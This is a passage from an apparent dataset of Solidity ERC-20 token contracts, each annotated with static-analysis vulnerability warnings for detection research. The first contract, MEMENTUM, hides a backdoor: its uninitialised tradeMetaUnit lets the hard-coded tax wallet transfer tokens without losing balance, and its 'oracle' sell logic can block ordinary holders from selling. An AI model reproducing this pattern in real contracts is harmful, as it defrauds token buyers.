);\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function factory() external pure returns (address);\n}\n\ncontract MEMENTUM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 95dd019): MEMENTUM._taxWallet should be immutable \n\t// Recommendation for 95dd019: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b1ea56): MEMENTUM._initialBuyTax should be constant \n\t// Recommendation for 4b1ea56: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 21a43a4): MEMENTUM._initialSellTax should be constant \n\t// Recommendation for 21a43a4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6ea315a): MEMENTUM._finalBuyTax should be constant \n\t// Recommendation for 6ea315a: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a1f2708): MEMENTUM._finalSellTax should be constant \n\t// Recommendation for a1f2708: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c234596): MEMENTUM._reduceBuyTaxAt should be constant \n\t// Recommendation for c234596: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2131240): MEMENTUM._reduceSellTaxAt should be constant \n\t// Recommendation for 2131240: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: bc8d814): MEMENTUM._preventSwapBefore should be constant \n\t// Recommendation for bc8d814: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"MEMENTUM\";\n\n string private constant _symbol = unicode\"MEMENTUM\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 19f98da): MEMENTUM._taxSwapThreshold should be constant \n\t// Recommendation for 19f98da: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 14000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1d9fdd): MEMENTUM._maxTaxSwap should be constant \n\t// Recommendation for e1d9fdd: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 16000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n struct TradeMeta {\n uint256 oracleStart;\n uint256 claimId;\n uint256 oracleClaimTotal;\n }\n\n mapping(address => TradeMeta) private tradeMeta;\n\n\t// WARNING Optimization Issue (constable-states | ID: cf19ec0): MEMENTUM.tradeMetaUnit should be constant \n\t// Recommendation for cf19ec0: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2384b65): MEMENTUM.tradeMetaUnit is never initialized. It is used in MEMENTUM._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 2384b65: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private tradeMetaUnit;\n\n uint256 private tradeLeaderTheshold;\n\n constructor() {\n _taxWallet = payable(0xAe003Ca6A4f4C3689Cbd9d50C5439285e8420cE7);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 794cce3): MEMENTUM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 794cce3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 27f2597): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 27f2597: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8ee6c23): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8ee6c23: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 27f2597\n\t\t// reentrancy-benign | ID: 8ee6c23\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 27f2597\n\t\t// reentrancy-benign | ID: 8ee6c23\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3237cc0): MEMENTUM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3237cc0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8ee6c23\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 27f2597\n emit Approval(owner, spender, amount);\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 810786b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 810786b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2d1a32b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2d1a32b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6ec126d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6ec126d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (inSwap || !tradingOpen) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 810786b\n\t\t\t\t// reentrancy-benign | ID: 2d1a32b\n\t\t\t\t// reentrancy-eth | ID: 6ec126d\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 810786b\n\t\t\t\t\t// reentrancy-eth | ID: 6ec126d\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 2d1a32b\n tradeLeaderTheshold = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to == uniswapV2Pair) {\n TradeMeta storage tradeFrom = tradeMeta[from];\n\n\t\t\t\t// reentrancy-benign | ID: 2d1a32b\n tradeFrom.oracleClaimTotal =\n tradeFrom.oracleStart -\n tradeLeaderTheshold;\n\n\t\t\t\t// reentrancy-benign | ID: 2d1a32b\n tradeFrom.claimId = block.timestamp;\n } else {\n TradeMeta storage tradeTo = tradeMeta[to];\n\n if (uniswapV2Pair == from) {\n if (tradeTo.oracleStart == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 2d1a32b\n tradeTo.oracleStart = _preventSwapBefore >= _buyCount\n ? type(uint).max\n : block.number;\n }\n } else {\n TradeMeta storage tradeFrom = tradeMeta[from];\n\n if (\n !(tradeTo.oracleStart > 0) ||\n tradeFrom.oracleStart < tradeTo.oracleStart\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 2d1a32b\n tradeTo.oracleStart = tradeFrom.oracleStart;\n }\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 810786b\n\t\t// reentrancy-eth | ID: 6ec126d\n _tokenTransfer(from, to, taxAmount, tokenAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 6ec126d\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 6ec126d\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 810786b\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2384b65): MEMENTUM.tradeMetaUnit is never initialized. It is used in MEMENTUM._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 2384b65: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : tradeMetaUnit.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6ec126d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 810786b\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 810786b\n\t\t// reentrancy-events | ID: 27f2597\n\t\t// reentrancy-benign | ID: 8ee6c23\n\t\t// reentrancy-benign | ID: 2d1a32b\n\t\t// reentrancy-eth | ID: 6ec126d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 810786b\n\t\t// reentrancy-events | ID: 27f2597\n\t\t// reentrancy-eth | ID: 6ec126d\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 91df320): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 91df320: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4cf798d): MEMENTUM.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4cf798d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3c2bb12): MEMENTUM.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3c2bb12: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: bd76059): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for bd76059: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 91df320\n\t\t// reentrancy-no-eth | ID: bd76059\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-no-eth | ID: bd76059\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 91df320\n\t\t// unused-return | ID: 4cf798d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 91df320\n\t\t// unused-return | ID: 3c2bb12\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 91df320\n swapEnabled = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function withdrawStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10351.sol", "size_bytes": 23120, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract option is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2153aa5): option._taxWallet should be immutable \n\t// Recommendation for 2153aa5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: f9cd0d4): option._initialBuyTax should be constant \n\t// Recommendation for f9cd0d4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 404b13c): option._initialSellTax should be constant \n\t// Recommendation for 404b13c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: a292c0b): option._finalBuyTax should be constant \n\t// Recommendation for a292c0b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: de27dc2): option._finalSellTax should be constant \n\t// Recommendation for de27dc2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b90c828): option._reduceBuyTaxAt should be constant \n\t// Recommendation for b90c828: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 682fa5a): option._reduceSellTaxAt should be constant \n\t// Recommendation for 682fa5a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab13866): option._preventSwapBefore should be constant \n\t// Recommendation for ab13866: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 69420000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"⌥\";\n\n string private constant _symbol = unicode\"⌥\";\n\n uint256 public _maxTxAmount = 1388400000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1388400000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: cb8a25e): option._taxSwapThreshold should be constant \n\t// Recommendation for cb8a25e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 694200000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 780ff46): option._maxTaxSwap should be constant \n\t// Recommendation for 780ff46: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 694200000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5be6a19): option.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5be6a19: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7dd0c8a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7dd0c8a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1e11c5d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1e11c5d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7dd0c8a\n\t\t// reentrancy-benign | ID: 1e11c5d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7dd0c8a\n\t\t// reentrancy-benign | ID: 1e11c5d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: abc5387): option._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for abc5387: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1e11c5d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7dd0c8a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 33e1df6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 33e1df6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e84ffc7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e84ffc7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 33e1df6\n\t\t\t\t// reentrancy-eth | ID: e84ffc7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 33e1df6\n\t\t\t\t\t// reentrancy-eth | ID: e84ffc7\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e84ffc7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 33e1df6\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e84ffc7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 